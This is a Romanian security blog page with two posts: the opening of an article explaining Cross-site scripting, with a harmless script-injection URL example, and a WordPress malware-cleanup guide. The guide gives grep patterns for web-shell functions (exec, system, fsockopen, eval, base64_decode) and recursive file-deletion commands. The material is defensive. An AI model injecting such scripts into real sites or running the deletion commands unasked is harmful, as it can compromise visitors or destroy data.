Anatomia unui atac Cross Site scripting – partea I

Introducere

Comunicarea este esențială pentru creșterea gradului de conștientizare a proprietarilor de site-uri și pentru ai ajuta să înțeleagă de ce este important să remedieze vulnerabilitățile prezente în site-urile lor.

Ceea ce am observat până acum, când raportam vulnerabilități web printr-un raport, este că acestia nu iau suficient in serios aceste rapoarte. Se impune sa tot mai des sa-i arătatm clientului sau echipei de dezvoltatori a clientului, exemple reale cu privire la modul în care un atacator poate profita de o vulnerabilitate pentru a compromite confidențialitatea, integritatea și / sau disponibilitatea datelor lor.

În cazul atacului de tip Cross-site scripting, atacul vizează cel mai important activ al lor, si anume clienții. Creșterea gradului de conștientizare și ajutarea unui client să înțeleagă ce riscuri sunt asociate cu o astfel de vulnerabilitate, cred ca sunt foarte importante atunci când vine vorba de prevenirea atacurilor impotriva aplicațiilor web.

Așadar, în acest articol, în loc să arăt doar un text “Proof of concept” și apoi o grămadă de text care descrie impactul atacurilor Cross-site scripting, voi face un demo care cred ca va ajuta sa prezint mai bine impactul pe care-l are un atac Cross-site scripting, proprietarilor de site-uri și echipelor lor de dezvoltatori.

Vom incepe prin a face o scurtă introducere a atacurilor de tip Cross-site scripting și apoi vom coda un exemplu ușor, reproductibil, care sper să demonstreze cat de important este să remediați vulnerabilitatile de acest tip.

Cross-Site Scripting attacks

Un atac de tip Cross-site scripting, cunoscut și sub numele de atac XSS, se întâmplă atunci când cineva este in situatia să exploateze o vulnerabilitate într-o aplicație / site pentru a rula cod JavaScript în browserul web al victimei.

Atacurile XSS ar trebui au loc deoarece browserele nu aplică principiul celui mai mic privilegiu și acordă tuturor scripturilor de pe un site același nivel de privilegii, indiferent de unde provine scriptul sau cine l-a pus acolo, Codul JavaScript al atacatorului va primi aceleași privilegii ca scripturile legitime din site-ul web.

Printr-un cod JavaScript malicios se poate controla orice din ceea ce poate face un browser, cum ar fi: schimbarea aspectului vizual al unui site, modificarea adresei URL, adăugarea și ștergerea intrărilor din istoricul browserului web, efectuarea acțiunilor în numele unui utilizator autentificat sau descărcarea și executarea JavaScript rău intenționat de pe orice alt server web.

Sunt trei tipuri de atac Cross-site scripting:

Stored

Se întâmplă atunci când vulnerabilitatea permite atacatorului să stocheze codul JavaScript în baza de date a aplicațiilor web. Acesta este cel mai prost scenariu, deoarece atacul va viza toți utilizatorii care vizitează partea afectată a site-ului web. De exemplu, gândiți-vă la un magazin online, dacă vulnerabilitatea se găsește în câmpul de comentarii al unui produs, atacul va viza toți utilizatorii care vizitează pagina produsului.

Reflected

Se întâmplă atunci când vulnerabilitatea permite atacatorului să execute codul JavaScript inclus într-o cerere HTTP. Codul JavaScript poate fi inserat într-un antet HTTP, parametru șir de interogare sau parametru body. De exemplu, gândiți-vă din nou la un magazin online care are un formular de căutare vulnerabil; dacă în loc să caute un produs, un utilizator introduce cod JavaScript ca termen de căutare, iar termenul de căutare este afișat pe ecran după efectuarea căutării, codul JavaScript care a fost injectat ca termen de căutare va fi executat.

DOM based

Se întâmplă atunci când există o vulnerabilitate în codul JavaScript al site-ului web care permite atacatorului să-l manipuleze și să execute propriul său cod JavaScript. Poate fi reflectat sau stocat.

Vulnerabilitatea care duce la atacuri DOM-XSS nu se află în codul din partea serverului care gestionează cererea HTTP, ci în codul client al aplicației web.

De exemplu, gândiți-vă la o secțiune de documentare a unei aplicații web sau a unei cărți online; s-ar putea să existe un index care, după ce este dat clic, ne duce la o parte specifică a documentației fără a reîmprospăta pagina sau a face nicio solicitare HTTP. În unele dintre aceste cazuri, când numele secțiunii apare în URL după un simbol #, ceea ce face de obicei aplicația este să identifice conținutul după simbolul hash:

https://anawesome.book/#chapten

În acest exemplu, capitolul 1 ne duce în acea parte a paginii. Dacă schimbăm conținutul după # cu un cod JavaScript:

https://anawesome.book/# <script> console.log („exemplu”) </script>

ar putea duce la executarea codului JavaScript dacă nu există validare.

La sfarsitul acestui articol sunt prezentate cateva resurse si tutoriale care va vor ajuta sa intelegeti mai bine atacurile Cross-site scripting.

Categorii
devirusare site

Devirusare site WordPress Ghid inlaturare Malware

Devirusarea unui site WordPress într-un mod în care poți sa fi sigur că este curat dupa operatiune, nu este o sarcină ușoară. Acesta este motivul pentru care o eliminare a malware-ului WordPress poate costa peste destul de mult pentru fiecare site și chiar si atunci, în funcție de furnizorul de servicii, nu puteți fi sigur dacă site-ul a fost curățat corect sau nu.

Ultimele cercetări realizate de Acunetix dezvăluie că aproximativ 84% dintre site-urile web conțin vulnerabilități, ceea ce înseamnă că toate sunt predispuse la a fi infectate în orice moment. În acest tutorial vă vom ghida printr-un proces complet de eliminare a malware-ului WordPress, pentru eliminarea programelor malware de pe site-urile WordPress, remedierea vulnerabilităților, eliminarea site-urilor din listele negre și voi include și câteva sugestii practice despre cum să păstrați site-urile protejate în viitor.

Disclaimer

Depinde foarte mult de mediul de găzduire, adica de hosting. De exemplu, dacă aveți un alt site instalat în subfolder sau subdomeniu și se află în același cont de găzduire cu alt site, asigurați-vă că le izolați. Dacă aveți mai multe site-uri web în același cont de găzduire, rețineți că trebuie să parcurgeți același proces cu fiecare site web pe care le aveti gazduite pe acelasi server.

Dacă există mai multe site-uri în contul de găzduire (adica, puteți accesa toate site-urile cu același cont FTP), asigurați-vă că le blocați / salvati înainte de a începe întregul proces de eliminare a programelor malware. Programele malware pot trece de la un site la altul și vă pot infecta întregul mediu de găzduire. În acest caz, este adesea greu de spus care site-ul era inițial vulnerabil.

Acest tutorial va fi ușor tehnic. Așadar, așezați-vă, luați o cafea și așteptați-vă să aflați câteva lucruri noi.

1. Blocati accesul la site inainte de a incepe procesul de devirusare

Este important sa va asigurati ca în timp ce efectuați eliminarea programelor malware, in timpul procesului de devirusare, nimeni altcineva in afara de dvs nu are acces la site. Unele medii de găzduire vă permit să plasați site-ul într-un mod de întreținere, dar, dacă nu puteți găsi astfel de opțiuni de la furnizorul de servicii, puteți bloca site-ul astfel:

1.1 Apache

Deschideți fișierul .htaccess și scrieți următoarele linii deasupra:
PS: Nu uitați să schimbați IP-ul de permis cu al vostru.

order deny,allow
# Deny access from all IPs
deny from all
# Allow access from specific IP
allow from 127.0.0.1

1.2 Nginx

Deschideți fișierul dvs. nginx.conf și scrieți următoarele rânduri:

location / {
# allow your IP below
allow 127.0.0.1;
# drop rest of the world
deny all;
}

2. Instalati un software anti-virus pe toate calculatoarele de pe care veti accesa site-ul

Nu este neobișnuit ca accesul la FTP, sau accesul la/ wp-admin / (numele de utilizator și parola) sau chiar și datele de autentificare la hosting să fie dezvaluite din cauza unui keylogger sau al unui alt virus informatic. Este esențial să aveți software anti-virus instalat pe computerele de unde accesați panoul de administrare sau vă autentificați la hosting sau FTP.

Scanează-ți computerul pentru posibil malware cu software antivirus. De asemenea, aruncați o privire la setările de securitate ale sistemului dvs. de operare și asigurați-vă că firewall-ul este pornit.

PS: Actualizați-vă frecvent sistemul de operare, browserele web și extensiile browserului.

3. Schimbati toate parolele de acces (Hosting, SSH, FTP, MySQL, WP Users)

După ce v-ați blocat accesul la site pentru public și ați scanat computerul pentru malware, asigurați-vă ca datele de autentificare nu sunt compromise, schimbându-le una câte una. Schimbați parola panoului de găzduire, apoi stergeti toate conturile FTP și creați altele noi cu parola pre-generată (cpanel o face automat, dacă nu, utilizați Keepass2 sau un alte instrumente de gestionare a parolelor, cum ar fi Dashlane și LastPass).

3.1 Schimbati parola bazei de date:

Dupa ce schimbi parola MySQL sau MariaDB (sau orice alte date de acces la baza de date), de asemenea, trebuie să actualizezi informațiile in fișierul wp-config.php, aflat in calea principala a instalarii WordPress.

3.2 Schimbati Salts:

Salt-urile sunt utilizate pentru a proteja parolele în mediul de stocare. Istoric, o parolă a fost stocată în mod clear text pe un sistem, dar au fost dezvoltate, în timp, metode suplimentare pentru a proteja parola utilizatorului de a fi citita direct din sistem in cazul. O sare este una dintre aceste metode. O nouă sare este generată aleatoriu pentru fiecare parolă, după încălcare, este important să înlocuiți sărurile vechi cu altele noi în fișierul dvs. wp-config.php.

Puteti genera noi Salt-uri aici:

https://api.wordpress.org/secret-key/1.1/salt/

3.3 Modifica accesul la admin din panelul WordPress:

Conectați-vă pe site-ul dvs. WordPress, navigați la Users și ștergeți toate conturile inactive. Apoi faceți clic pe Editați pe conturile active unul câte unul, iar apoi suspendați toate sesiunile și generați parole noi pentru toți utilizatorii.

PS: Asigurați-vă că nu aveți un cont cu numele de utilizator Admin sau Administrator.

4. Faceti un full back-up al site-ului

Dacă furnizorul dvs. de găzduire nu are copii de rezervă in cadrul unui sistem de back-up zilnic, asigurați-vă că descărcați întregul conținut al site-ului de pe server și al bazei de date, într-un mediu local.

4.1 SSH:

Unele servere vă oferă acces SSH, ceea ce vă poate face viața mult mai ușoară atunci când faceți eliminarea malware a WordPress. Posibilitatea de a avea acces SSH în diferite medii de găzduire poate diferi, de exemplu, unele hosting-uri au opțiuni in panoul lor de administrare de unde poti da enable la acces SSH.

După ce v-ați conectat cu succes la site cu acces SSH, efectuați următoarele:

zip -r backup-pre-cleanup.zip

Acest lucru poate dura ceva timp, dar va genera un fișier .zip cu toate fișierele din contul de găzduire. Mai târziu, puteți descărca fișierul .zip direct pe SFTP.

4.2 SFTP:

SFTP este versiunea criptata a protocolului FTP. Protocolul de transfer de fișiere este utilizat pentru transferul fișierelor de la o masina la alta. Puteți obține codurile de acces SFTP din același loc din panoul contului de găzduire (cpanel) ca si codurile de acces FTP obișnuite. Nu uitați că portul SFTP este 22 în loc de 21 (port FTP).

Puteți accesa serverul cu un client SFTP / FTP, cum ar fi FileZilla. Puteți face apoi un folder local pe computerul dvs., și copiati întregul conținut al site-ului dvs. în acest folder.

4.3 Baza de date:

În majoritatea mediilor de găzduire, este instalat PhpMyAdmin care vă permite să gestionați baza de date. Puteți exporta cu ușurință întreaga bază de date cu o opțiune de export prin intermediul panoului PhpMyAdmin.

De asemenea, puteți exporta baza de date prin SSH cu următoarea comandă:
mysqldump -p -h hostname -u username database > backup-pre-cleanup.sql

Asigurați-vă că schimbați hostname, username și database cu datele de autentificare ale bazei de date in cazul dvs (le puteți găsi din wp-config.php).

PS: După ce îl exportați baza de date prin SSH, asigurați-vă că descarcati fisierul în mediul dvs. local și ulterior il ștergeți de pe server.

5. Analizati log-urile si modificarile recente

Log-urile sunt întotdeauna cel mai bun loc pentru a cauta in urma unui incident si pentru a detecta ce a fost schimbat sau ce a fost adăugat pe server. Descărcați log-urile, dacă nu găsiți locul, cereți-le de la furnizorul dvs. de găzduire.

Deschideți jurnalele cu software precum Sublime și căutați (ctrl + f) dupa metoda „POST”. Uită-te la ce gasesti și vezi dacă a fost adăugat vreun fișier PHP pe server, eventual uită-te și la evenimentele din jurul unui comportament suspect.

Puteți verifica, de asemenea, care fișiere PHP au fost editate cel mai recent, pentru aceasta puteți rula următoarea comandă via SSH:

find . -type f -name ‘*.php’ -ctime -7

De asemenea, ar trebui să vedeți dacă sunt adăugate sau modificate fișiere JavaScript:

find . -type f -name ‘*.js’ -ctime -7

-ctime -7 vă va arăta toate fișierele modificate (sau dacă permisiunile / atributele sunt modificate) în ultimele 7 zile. Puteți modifica numărul mai mic / mai mare în funcție de necesitate, iar:
-7 = modificat în mai puțin de 7 zile
+7 = modificat cu mai mult de 7 zile în urmă

PS: Utilizati aceasta comanda înainte de a actualiza sau modifica un numar mai mare de fișiere din instalarea dvs. WordPress.

6. Faceti update la WordPress

Cea mai probabilă cauză pentru care site-ul dvs. web s-a infectat este motivul că probabil aveți coduri, plugin-uri sau teme învechite. Site-urile încărcate cu prea multe plugin-uri sau care au un nume de utilizator implicit (admin) și parole slabe sunt principalele motive pentru care site-urile WordPress sunt hack-uite.

6.1 Inlaturati toate plugin-urile/temele nefolosite din instalarea WordPress

Chiar dacă dezactivați pluginul sau tema pe care nu o utilizați, acesta va rămâne pe server și, în unele ocazii, poate fi exploatat dacă inca este vulnerabil.

Este întotdeauna mai bine să eliminați software-ul nefolosit pentru a reduce riscul de a avea software-uri învechite / vulnerabile în sistem.

7. Update la versiunea PHP

PHP 7 face ca site-ul dvs. web să funcționeze de două ori mai rapid (comparativ cu PHP 5) și are un consum de memorie mai bun cu 50%. PHP 7 este, de asemenea, mai sigur. Ar trebui să faceți upgrade de la PHP 5.6 (și versiuni inferioare) cât mai rapid.

Unii dezvoltatori deja au încetat să mai accepte versiuni mai vechi de PHP, ceea ce înseamnă că, la un moment dat, nu veți mai putea actualiza deloc unele dintre plugin-urile dvs.

8. Remove Symlinks

Multi atacatori încearcă să “lege” (symlink) folder-ele pentru a avea acces ulterior la root sau la alte foldere superioare din mediul de găzduire. Uneori, dacă un symlink este nedetectat și incercati sa stergeti folderul legat, ati putea ajunge sa să ștergeți toate fișierele de pe serverul dvs. Asigurați-vă că nu există Symlinks înainte de a schimba recursiv permisiunile de acces la fișiere / foldere.

Pentru a evita acest lucru, utilizați următoarea comandă prin SSH (sau unde vedeți folderul suspect):

find . -type l -exec unlink {} \;

9. Setati permisiuni corecte pentru fisiere

Evitați să aveți vreun fișier sau director setat la 777. În mod implicit, toate permisiunile foldere-lor din WordPress ar trebui să fie 750, în timp ce toate fișierele (cu excepția wp-config.php, care poate fi de până la 400) trebuie să fie 640.

Prin SSH, puteți modifica toate permisiunile folderului în mod recursiv la 750 cu următoarea comandă:

find /path/to/your/wordpress/install/ -type d -exec chmod 750 {} \;

Prin SSH, puteți modifica toate permisiunile fișierelor în mod recursiv la 640 cu următoarea comandă:

find /path/to/your/wordpress/install/ -type f -exec chmod 640 {} \;

Prin SSH, puteți schimba permisiunea wp-config.php la 400 cu următoarea comandă (asigurați-vă că testați și, dacă este necesar, schimbați-o la 440, dacă nici acesata nu funcționează, rămâneți la valorile implicite):

chmod 400 /path/to/your/wordpress/install/wp-config.php

10. Stergerea fisierelor virusate din instalarea WordPress

Acest paragraf va fi o combinație de instrumente open-source sau platite pentru a detecta fișierele suspecte automat și manual. Vă recomandăm întotdeauna să faceți pe cât posibil manual pentru a înțelege și pentru a avea încredere că eliminarea malware-ului WordPress se face corect.

10.1 Diff – intre o instalare curata si cea infectata

Creați o nouă instalare WordPress și instalați exact aceleași pluginuri, teme și asigurați-vă că totul rulează la aceeași versiune. Creați un nou folder în mediul dvs. local numit „Compara” și adăugați 2 foldere în acesta „Clean” și „Infected”.

Folosind SFTP, descărcați instalarea WordPress proaspăt făcută și salvați-o în folderul „Clean”. Acum deschideți backup-ul făcut anterior și găsiți instalarea WordPress de acolo și copiați-l în folderul “Infected“.

Descărcați o aplicație numită Beyond Compare și comparați cele două foldere Clean and Infected, concentrandu-vă in principal pe fișierele PHP și JavaScript (JS) care sunt diferite de cele originale.

Deschideți in clientul dvs. SFTP (Filezilla) site-ul virusat și comparati cu folderul “Clean” local. De exemplu, dacă Beyond Compare vă spune că index.php și wp-mail.php sunt diferite pe in cele două foldere, copiati aceste fișiere din folderul “Clean” pe site-ul dvs. și verificați dacă site-ul funcționează corect după înlocuirea fiecărui fișier. Dacă site-ul crapa, atunci restaurati-l folosind același fișier din folderul “Infected“.

Această metodă vă va permite să inlocuiti manual fișierele WordPress, Plugin-urile și Temele infectate cu cele originale. Dacă vă simțiți confortabil cu terminalul, puteți utiliza, de asemenea, comanda dif prin SSH astfel:

diff -r wordpress-clean/ wordpress-infected/ -x wp-content

PS: Rețineți că fișierul wp-config.php va fi diferit pe fiecare site. Utilizați această metodă numai pentru a detecta dacă fișierele originale au fost schimbate sau dacă fișiere suplimentare au fost adăugate la folderele principale ale sistemului (folderul /wp-content/uploads/ nu este un folder de sistem).

10.2 Stergeti orice fisier PHP din folderul uploads

Fișierele PHP nu ar trebui să se afle niciodată în folderul /uploads, dar în multe cazuri, când este exploatată o vulnerabilitate de upload, un backdoor sau dropper se va descarca exact acolo.

Deschideți terminalul SSH și navigați la /wp-content/uploads/ (puteți naviga cu comanda cd adică cd /wp-content/ apoi cd /upload/) și rulați următoarea comandă:

find . -name “*.php”

10.3 Gasiti si stergeti manual backdoor-urile si  malware-ul

Web-shell-urile (Backdoors) și Malware-ul sunt adesea extrem de obfuscate și ascunse (uneori adăugate la anteturile scripturilor originale ale sistemului de fișiere) pentru a evita detectarea prin scanere automate de malware.

Unele funcții care sunt foarte frecvent utilizate în programarea si codarea malware-ului sunt: eval()base64_decode()gzinflate()str_rot13()

Pentru a localiza astfel de fișiere, care contin astfel de functii deschideți terminalul SSH și executați următoarea comandă:

find . -type f -name ‘*.php’ | xargs egrep -i “(mail|fsockopen|pfsockopen|stream\_socket\_client|exec|system|passthru|eval|base64_decode) *(”

Sau, pentru a cauta backdoor-uri ascunse in imagini:

find wp-content/uploads -type f -iname ‘*.jpg’ | xargs grep -i php

Sau iframes:

find . -type f -name ‘*.php’  | grep -i ‘<iframe’

10.4 Gaseste/Inlatura obfuscated backdoors si malware automat

Va recomandam serviciul nostru pentru devirusare site spart.

10.5 Repeta pasul 10.1 pentru a fi sigur ca nu a mai ramas nici un fisier periculos

Eliminați fișierele unul cate unul care par suspecte și verificați întotdeauna dacă site-ul încă funcționează după ce fișierul a fost eliminat. Acum, după ce eliminați toate fișierele suspecte pe care le-ați detectat, descărcați folderul WordPress curățat în folderul “Infected” și comparați-l încă o dată cu folderul “Clean” folosind aplicația Beyond Compare.

Rețineți că structura fișierlor (cu excepția /wp-content/) ar trebui să fie identică. Căutați nume de fișiere criptice și evidente precum N73He.php sau hax0r.php etc. Uneori, atacatorii își adaugă fișiere de propaganda în fiecare director ca si mesaj, gen „hacked by Team_CC“.

Puteți elimina astfel de fișiere recursiv cu următoarea comandă prin SSH:

find . -type f -name “filename.php” -exec rm -f {} \;

11. WordPress malware removal (Baza de date)

In cazul unei infectari WordPress, este foarte frecvent ca malware-ul să fie injectat în baza de date și să fie încărcat pe site prin postări, pagini, comentarii și prin alt conținut al site-ului. Am exportat deja in pasii anteriori backup-ul .SQL al bazei de date WordPress. Există diferite modalități de a efectua eliminarea malware a bazei de date WordPress.

11.1 Cautarea continutului suspicios direct in backup-ul bazei de date .SQL

Puteți deschide fișierul .SQL direct cu Sublime. Utilizați Ctrl + f pentru a găsi conținut rău intenționat din baza de date.
Cautati dupa iFrames: <iframe
Cautati dupa base64: base64_decode
Cautati dupa eval(): eval()
Cautati dupa scripts: <script

Urmariti tot ce gasiti de tipul celor mentionate mai sus și încercați să înțelegeți unde se află. Nu le ștergeți direct din backup-ul bazei de date, ci continuați cu pasul 11.3.

11.2 Cautati continut suspicios via PhpMyAdmin

Dacă aveți acces la PhpMyAdmin, puteți căuta direct înregistrări similare cu cele mentionate mai sus direct prin opțiunea de căutare. Dacă sunteți sigur că ați detectat un conținut rău intenționat, încercați să înțelegeți de unde a fost adăugat și continuați cu pasul 11.3

11.3 Parcurgeti manual paginile WordPress, Postarile, Comentariile and Reviziile

Parcurgeti manual paginile, postările și revizuirile lor. Navigați la intrările suspecte găsite de la 10.1 și 10.2 și treceți la editor pentru fiecare intrare și selectați modul de editare Text. Ștergeți codul rău intenționat și, dacă este necesar, reformatați conținutul. Nu uitați să treceți peste Revizii. De asemenea, uită-te si la comentarii și sterge posibilul spam.

12. Verifica site-ul manual si din perspectiva unui motor de cautare (Google)

Aruncați o privire la site-ul dvs. ca si vizitator, uitați-vă dacă mai puteți vedea ceva suspect sau site-ul are performanțe neașteptate. Adăugați următoarea cautare pe motorul de căutare Google site: mywebsite.com dacă vedeți o mulțime de hieroglife chineze sau oferte suspecte de farmaceutice canadiene în rezultatele Google, atunci puteți fi sigur că site-ul a fost infectat cu malware SEO. Un astfel de malware este vizibil doar pe Google și alte crawlere ale motoarelor de căutare, fiind invizibil pentru vizitatori și proprietarii de site-uri.

Instaleaza User-Agent Switcher extensie pentru Google Chrome, care vă permite să vedeți site-ul dvs. din perspectiva motorului de căutare. Puteți seta un user-agent personalizat din setările de extensie, cel mai popular user-agent folosit de botul Google este:

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Dacă vizitați acum link-urile cu agentul de utilizare al botului Google și nu vedeți conținut diferit, ați eliminat cu succes malware-ul SEO Injection / SEO Cloaking. Dacă tot vedeți conținut ciudat încărcat, întoarceți-vă la procesul de eliminare a malware-ului și vedeți ce ați ratat.

13. Restaureaza accesul public la site

Dacă ați verificat și ați trecut peste toți pașii de mai sus și vă simțiți încrezători că site-ul este acum curat, eliminați restricțiile de acces la site (doar site-ul pe care tocmai l-ați curățat, dacă aveți alte site-uri în același mediu de găzduire, nu le deschide până când ati parcurs același proces cu ele).

Dacă în schimb furnizorul dvs. de găzduire a blocat accesul public la site, rugați-l să va re-scaneza site-ul, spuneți-le că ați efectuat o eliminare a malware-ului WordPress și cereți-le să restabilească accesul public.

14. Solicitati sa fiti stersi din listele Blacklists

Cea mai bună metodă de a verifica dacă site-ul dvs. a fost blacklist -at de către furnizorii de soft antivirus sau de motoarele de căutare este folosind VirusTotal.

Dacă sunteți in lista neagră de navigare sigură Google, puteți să vă conectați la Google Webmaster Tools și să solicitați o re-scanare. Poate dura câteva zile și dacă Google nu mai detecteaza malware, te vor elimina din lista neagră de navigare sigură Google.

Dacă sunteți pe lista neagră a unor furnizori AV sau a altor motoare de căutare, navigați pe site-ul lor și cereți să fiți re-scanat inca o data. În cele mai multe cazuri, trebuie să completați manual un formular pentru a solicita o rescanare.

15. Imbunatatirea securitatii WordPress

Există câteva lucruri pe care ar trebui să le faci în plus după ce ai finalizat eliminarea malware-ului WordPress. Există câteva setari simple pe care le puteți face cu ușurință pentru a preveni unele infecții cu malware des intalnite.

15.1 Dezactiveaza executia PHP in folderele /uploads/ si /cache/

Puteți adăuga cu ușurință câteva linii de cod în configurația dvs. Apache sau Nginx, care va împiedica utilizarea PHP în folder-ele /uploads si / cache. În multe scenarii, aceasta setare poate face ca backdoor-ul sau dropper-ul inițial să fie inutile, deoarece nu pot fi executate chiar dacă încărcarea acestora a avut succes ca urmare a exploatarii unei vulnerabilitati.

Nginx:
# Deny access to PHP files in any /uploads/ or /cache/ directories
location ~ /uploads/(.+)\.php$ { access_log off; log_not_found off; deny all; }
location ~ /cache/(.+)\.php$ { access_log off; log_not_found off; deny all; }

Apache:
Create a .htaccess file to /upload/ and /cache/ folder and write following inside both of the files:
# Kill PHP Execution
<Files ~ "\.ph(?:p[345]?|t|tml)$">
deny from all
</Files>

15.2 Dezactiveaza editarea fisierelor din Admin Panel-ul WordPress

Este recomandat să dezactivați opțiunile de editare a fișierelor direct din Panoul de administrare WordPress. Puteți adăuga următorul cod în fișierul dvs. wp-config.php:

## Disable Editing in Dashboard
define(‘DISALLOW_FILE_EDIT’, true);

15.3 Ascunde accesul la panoul de administrare WordPress

Site-urile WordPress sunt constant supuse brute-force de botneti și scripturi de hacking. Principalele motive pentru care se intampla aceasta este numarul mare de site-uri cu locația cunoscută a panoului de administrare / wp-admin / și faptul că mulți proprietari de site-uri vor folosi numele de utilizator Admin sau Administrator implicit și o parolă slabă.

Este o modalitate ușoară de a avea acces la mii de site-uri WordPress și de a le infecta cu malware, de a instala backdoor-uri, de a trimite spam prin e-mail sau de a redirecționa traficul.

Exista plugin-uri speciale gratuite pentru a face aceasta modificare.

15.4 Web Application Firewall, Up-time Monitoring, Vulnerability Alerts

Este bine să aveți un Web Application Firewall, care este mereu actualizat cu cele mai recente riscuri de securitate și exploit-uri pentru plugin-uri, teme și versiuni de bază WordPress învechite și vulnerabile. Firewall-ul de astăzi este la fel de esențial pentru site-uri web, precum software antivirus pentru computere și a avea o imagine de ansamblu a ceea ce se întâmplă pe site-ul dvs. este un lucru indispensabil.

Există diferite plugin-uri WordPress, cum ar fi WordFence, iThemes Security și SecuPress, care vă permit să configurați automat opțiuni de întărire a securitatii pe site-ul dvs., fără a fi nevoie să adăugați cod in diferite fișiere manual (ca mai sus).

Daca doriti sa beneficiati de monitorizare permenenta a site-ului impotriva instalarii de malware, backdoors, soft malicios de redirectare, etc si de firewall la nivel de aplicatie pentru site va recomandam solutia noastra gratuita, sau platita daca doriti sa beneficiati de securitate avansata manageriata in integralitate de echipa moastra.

15.5 Folositi hosting securizat si de incredere si pastrati-va software-ul actualizat permanent

Mediul dvs. de găzduire trebuie actualizat (verificați dacă PHP 7.3 este acceptat), bine configurat și securizat. Dacă economisiți bani alegând un furnizor de gazduire ieftin, este o problemă de timp când apar probleme. Puteți securiza aplicația cu soluții de securitate de cea mai înaltă calitate, dar atunci când gazda dvs. este hack-uita, niciuna dintre elementele de securitate implementate pentru aplicația / site-ul dvs. nu mai contează.

Concluzie

Investiția în detecție, prevenire și protecție sunt întotdeauna mai bune decât investițiile pentru a recupera un site spart sau virusat. In situatia nedorita in care ti se viruseaza site-ul poti avea pierderi atat din cauza indisponibilitatii acestuia pentru clienti (vanzari afectate), pierderi pe partea de SEO si ranking, si mai nou, pe partea de GDPR asigurarea securitatii site-ului si a datelor personale fiind obligatia operatorilor de date personale care trebuie sa raporteze la ANSPDCP orice situatie de acest gen.

Eliminarea malware-ului WordPress este un proces complicat și poate fi și mai complicat in situatie site-urilor de comerț electronic cu aplicații WP tot mai complexe. Fii inteligent și gândește-te mereu cu câțiva pași înainte. Plătește o suma modica pentru o soluție completă de securitate pentru un site web fiind mult mai ieftin decât timpul petrecut pentru devirusare sau cumpărarea unui serviciu profesional pentru eliminarea malware-ului WordPress.